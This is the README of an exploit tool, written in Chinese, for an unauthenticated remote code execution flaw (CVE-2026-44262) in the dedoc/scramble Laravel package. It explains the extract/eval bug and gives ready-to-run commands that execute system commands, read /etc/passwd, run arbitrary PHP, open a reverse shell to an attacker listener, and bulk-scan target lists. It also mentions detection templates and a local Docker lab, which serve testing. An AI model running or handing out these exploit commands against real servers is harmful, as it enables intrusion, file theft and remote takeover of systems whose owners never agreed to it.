CVE-2026-44262 是 dedoc/scramble(一个 Laravel API 文档生成器)中的一个未认证远程代码执行漏洞。
NodeRulesEvaluator::doEvaluateExpression() 会在 eval("return $code;") 之前调用 extract($variables)。当控制器将 赋值给名为 的变量并将其用作验证规则时,Scramble 会跟踪该变量并将其传入 eval 作用域。攻击者可以通过向 提供特制的查询参数,使用任意 PHP 覆盖 。
$request->input()$code/docs/api.json$code受影响版本: dedoc/scramble >=0.13.2, <0.13.22
sleep() 进行安全的非破坏性检查,以确认 eval 是否触发proc_open 反弹 Shell,无需 bash 或 busyboxhttp-scramble-rce-detect.nse)CVE-2026-44262.yaml)无外部依赖 — 仅使用 Python 标准库。
git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api
git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api
usage: CVE-2026-44262.py [-h] (--target TARGET | --targets FILE) [--docs-path PATH]
[--check] [--command CMD] [--code PHP] [--read-file PATH]
[--shell] [--lhost HOST] [--lport PORT] [--os OS]
[--useragent USERAGENT] [--timeout SECONDS]
# Full detection (timing + exec probe)
python3 CVE-2026-44262.py --target http://example.com/docs/api
# Safe check only — timing probe, no command execution
python3 CVE-2026-44262.py --target http://example.com/docs/api --check
# Override JSON endpoint path
python3 CVE-2026-44262.py --target http://example.com/docs/api --docs-path /api/openapi.json
# Bulk scan
python3 CVE-2026-44262.py --targets targets.txt
# Execute a command
python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"
# Read a file
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd
# Execute raw PHP
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"
# Reverse shell (start: nc -lv 4444)
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444
# Nmap
nmap -p 80,443 --script http-scramble-rce-detect example.com
# Nuclei
nuclei -t CVE-2026-44262.yaml -u http://example.com
其中包含一个自包含的 Docker 环境,内置易受攻击的应用(dedoc/scramble v0.13.21)。详见 docker/DOCKER.md。
cd docker/
docker compose up -d
python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api
本工具仅供教育和研究目的使用。作者不对因使用本工具而造成的任何滥用或损害承担责任。